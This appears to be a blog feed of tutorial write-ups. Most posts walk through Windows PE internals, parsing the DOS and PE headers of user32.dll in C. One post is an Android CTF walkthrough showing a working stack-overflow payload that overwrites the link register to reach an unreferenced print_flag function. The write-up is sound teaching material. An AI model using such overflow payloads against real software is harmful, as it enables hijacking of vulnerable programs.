Now we can easily get our signature from PIMAGE_NT_HEADERS and compare it with the macro IMAGE_NT_SIGNATURE.

if (imageNtHeaders->Signature == IMAGE_NT_SIGNATURE)
{
    //omitted
}

IMAGE_NT_SIGNATURE is a macro found in winnt.h which defines the PE signature to be PE\0\0 which ends with 2 null bytes.

//From winnt.h
#define IMAGE_DOS_SIGNATURE                 0x5A4D      // MZ
#define IMAGE_NT_SIGNATURE                  0x00004550  // PE00

Hence overall, our code would look like the following.

#include <Windows.h>

int  WinMain(
     HINSTANCE hInstance,
     HINSTANCE hPrevInstance,
     LPSTR     lpCmdLine,
     int       nCmdShow
)
{
    HMODULE peBase = GetModuleHandleA("user32.dll");

    if (peBase == NULL)
    {
        MessageBoxA(0, "Can't load user32.dll", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    PIMAGE_DOS_HEADER imageDosHeader = (PIMAGE_DOS_HEADER)peBase;

    if (imageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    {
        MessageBoxA(0, "user32.dll has the wrong Image Dos Signature!", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    PIMAGE_NT_HEADERS imageNtHeaders = (PIMAGE_NT_HEADERS)((unsigned char*)imageDosHeader + imageDosHeader->e_lfanew);

    if (imageNtHeaders->Signature != IMAGE_NT_SIGNATURE)
    {
        MessageBoxA(0, "user32.dll has the wrong PE Signature!", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }
    MessageBoxA(0, "user32.dll has the right PE Signature!", "Success", MB_OK | MB_ICONINFORMATION);

    return 0;
}

Anti-Virus Bleeping...

I did not expect my antivirus to catch up very quickly that what I am trying to do might be suspicious. Many malwares have similar type of function calls to perform DLL Injection. We might discuss that in the future.

I have temporarily disabled it.

In this exercise, I learnt how to navigate from the DOS HEADER to the PE HEADER via the e_lfanew property. Following that, I successfully verfied the PE Header. Interestingly, we also saw my Antivirus going off and suspecting my code to be malicious.

Dissecting the PE Header

Stackoverflow [Android Internals CTF Ex7]

wireless90 — Tue, 20 Apr 2021 14:47:21 +0000

Get the executable here

Instructions

Give the program the correct argument so it will print the flag
It is ok if the program crash afterwards.
Do not reverse the decrypt function

Let's Begin

Lets start by running the program in android.

I'll use adb to push it to my android device.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/stacking]
└─$ adb push a.out /data/local/tmp

Next, run the program in the android device.

root@hammerhead:/data/local/tmp # ./a.out                                      
usage: ./a.out <username> <password>
root@hammerhead:/data/local/tmp # ./a.out root toor                            
Login failed

Seems like we need the right username and password.

Let's open up the program in IDA to perform static analysis.

In the functions window, we can see that there exists a function called print_flag.

Click x to find all references of the function within a.out
.

We can see that there are actually no references to that function within the program. From the title of this exercise, stacking, we know that we need to perform some kind of stack overflow.

Let's take a look at the main function in IDA.

There is an interesting function called within the main function, verify_user. It takes in the username in R0 and password in R1 and performs some kind of verification.

Let's take a deeper look into the function verify_user.

I have marked the first occurrence of username and password. Let's rename the variables by pressing the n key and giving them appropriate names.

It will now look like

Looking further below, there are 2 unsafe strcpy functions.

The strcpy function has the following declaration.

char *strcpy(char *dest, const char *src)

Let's focus on the 2nd strcpy, marked with asterisk *, as the destination variable is closer to the start of the stack.

The destination variable in the above figure is var_1C.

Now let's scroll back all the way up to the top of the function to see how far is this variable from the start of the stack.

Yea, its 0x1C which is 28 bytes from the start of the stack. IDA by default names stack variables by how far they are from the start of the stack.

Lets take a look at how a stack frame looks like.

As we can see, our goal is to override the Link Register. The Link register contains the address to return to after completing the current function, verify.

So in order to override it , we need to spam 28 bytes + an extra 4 bytes to override the Frame Pointer, and our final 4 bytes to override our link register.

Thus lets put an input of 32 'A's followed by 4 'B's.

Lets look at the result in GDB.

In our android lets run our gdbserver.

root@hammerhead:/data/local/tmp # ./gdbserver localhost:6666 ./a.out root AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

In our host, lets connect to it using gdb-multiarch.

We can see that our function tried to return to an address 0x42424240 which is our BBBB. The reason it is not 0x42424242 is because due to alignment reasons.

Anyway, now we know how to direct the function to point to anywhere we want.

Lets try to point the function to 0xDEADBEEF.

root@hammerhead:/data/local/tmp # ./gdbserver localhost:6666 ./a.out root `echo -en "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xDE\xAD\xBE\xEF" `

Notice that it now points to 0xEFBEADDC.

Next, lets get the address of the unreference function print_flag.

The function print_flag lies in the address 0x00008530.

If 0xDEADBEEF produces 0xEFBEADDC, we need to input 0x00008530 as 0x30850000.

root@hammerhead:/data/local/tmp # ./gdbserver localhost:6666 ./a.out root `echo -en "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x30\x85\x00\x00" `

And we got the flag.

Validating the MZ Signature [Windows PE Internals]

wireless90 — Tue, 20 Apr 2021 12:51:34 +0000

Previous Windows PE Internals Writeups

Previously

Previously, we learnt about how to dynamically get a handle to user32.dll. In this article, we will try to get the MZ Signature from the dll.

What is a PE File?

The Portable Executable (PE) format is a file format for executables, object code, DLLs and others used in 32-bit and 64-bit versions of Windows operating systems. The PE format is a data structure that encapsulates the information necessary for the Windows OS loader to manage the wrapped executable code.

Thus, our dll, user32.dll is a PE file as well.

What is a MZ Signature?

The MZ signature is a signature used by the MS-DOS relocatable 16-bit EXE format and its still present in today's PE files for backwards compatibility.

The signature is 0x5a4d. It is the first 2 bytes of our PE file.

The entire PE structure can be found here.

Let's begin

Continuing from the previous article, we will now cast our peBase variable to the struct, IMAGE_DOS_HEADER.

The definition can be found here or below.

typedef struct _IMAGE_DOS_HEADER
{
     WORD e_magic;
     WORD e_cblp;
     WORD e_cp;
     WORD e_crlc;
     WORD e_cparhdr;
     WORD e_minalloc;
     WORD e_maxalloc;
     WORD e_ss;
     WORD e_sp;
     WORD e_csum;
     WORD e_ip;
     WORD e_cs;
     WORD e_lfarlc;
     WORD e_ovno;
     WORD e_res[4];
     WORD e_oemid;
     WORD e_oeminfo;
     WORD e_res2[10];
     LONG e_lfanew;
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

We will be using a pointer to the IMAGE_DOS_HEADER. It can be written as IMAGE_DOS_HEADER* or PIMAGE_DOS_HEADER.

The way to cast it will as as follows.

PIMAGE_DOS_HEADER imageDosHeader = (PIMAGE_DOS_HEADER)peBase;

Looking at the IMAGE_DOS_HEADER structure definition above, we can see a property e_magic of type WORD, which is 2 bytes. As expected, this is the MZ signature.

Let's continue with our program to check if the user32.dll has the correct MZ signature.

if (imageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
        MessageBoxA(0, "user32.dll has the wrong Image Dos Signature!", "Error", MB_OK | MB_ICONERROR);
        return 1;
}

The IMAGE_DOS_SIGNATURE is a helpful macro that is already defined for us in winnt.h which has the following definition.

#define IMAGE_DOS_SIGNATURE                 0x5A4D      // MZ

We simply reference it therefore, we do not need to explicitly remember the signature 0x5a4d.

Overall, our program now looks like this.

#include <Windows.h>

int  WinMain(
     HINSTANCE hInstance,
     HINSTANCE hPrevInstance,
     LPSTR     lpCmdLine,
     int       nCmdShow
)
{
    HMODULE peBase = GetModuleHandleA("user32.dll");

    if (peBase == NULL)
    {
        MessageBoxA(0, "Can't load user32.dll", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    PIMAGE_DOS_HEADER imageDosHeader = (PIMAGE_DOS_HEADER)peBase;

    if (imageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    {
        MessageBoxA(0, "user32.dll has the wrong Image Dos Signature!", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    MessageBoxA(0, "user32.dll has the right Image Dos Signature!", "Success", MB_OK | MB_ICONINFORMATION);

    return 0;
}

Running the program now gives us the following.

In this exercise, I learnt that the first part of the PE file contains the Image Dos Signature.

Validating the PE Signature

Getting a Handle to a Dynamically Linked Library [Windows PE Internals]

wireless90 — Mon, 19 Apr 2021 13:24:15 +0000

Previous Windows PE Internals Writeups

Creating a Windows Project in Visual Studio

Let's Begin

This writeup is going to be on loading our PE File's DLL at runtime.

We are going to use the function GetModuleHandleA.

HMODULE GetModuleHandleA(
  LPCSTR lpModuleName
);

Retrieves a module handle for the specified module. The module must have been loaded by the calling process.
We can either pass in an executable or a dll as the name.

We want to load user32.dll from our own executable.

The important thing is that the dll must already be loaded by the executable.

By default in Visual Studio windows project, some dlls are already configured to be loaded. We can double check it in the Project Properties.

We can see that user32.dll is already configured to be loaded. If it is not loaded, we can either configure it to be loaded or use any functions within user32.dll which causes the linker to load it.

The signature for the function would thus look like,

HMODULE peBase = GetModuleHandleA("user32.dll");

After loading the module, a pointer (HMODULE) to the start of the user32.dll is returned which is stored in the variable peBase.

In general, our windows program looks like,

#include <Windows.h>

int  WinMain(
     HINSTANCE hInstance,
     HINSTANCE hPrevInstance,
     LPSTR     lpCmdLine,
     int       nCmdShow
)
{
    HMODULE peBase = GetModuleHandleA("user32.dll");

    if (peBase == NULL)
    {
        MessageBoxA(0, "Can't load user32.dll", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    MessageBoxA(0, "user32.dll loaded successfully!", "Success", MB_OK | MB_ICONINFORMATION);

    return 0;
}

In this exercise, I learnt how to get a handle to an already loaded dynamic link library (dll).

Validating the MZ Signature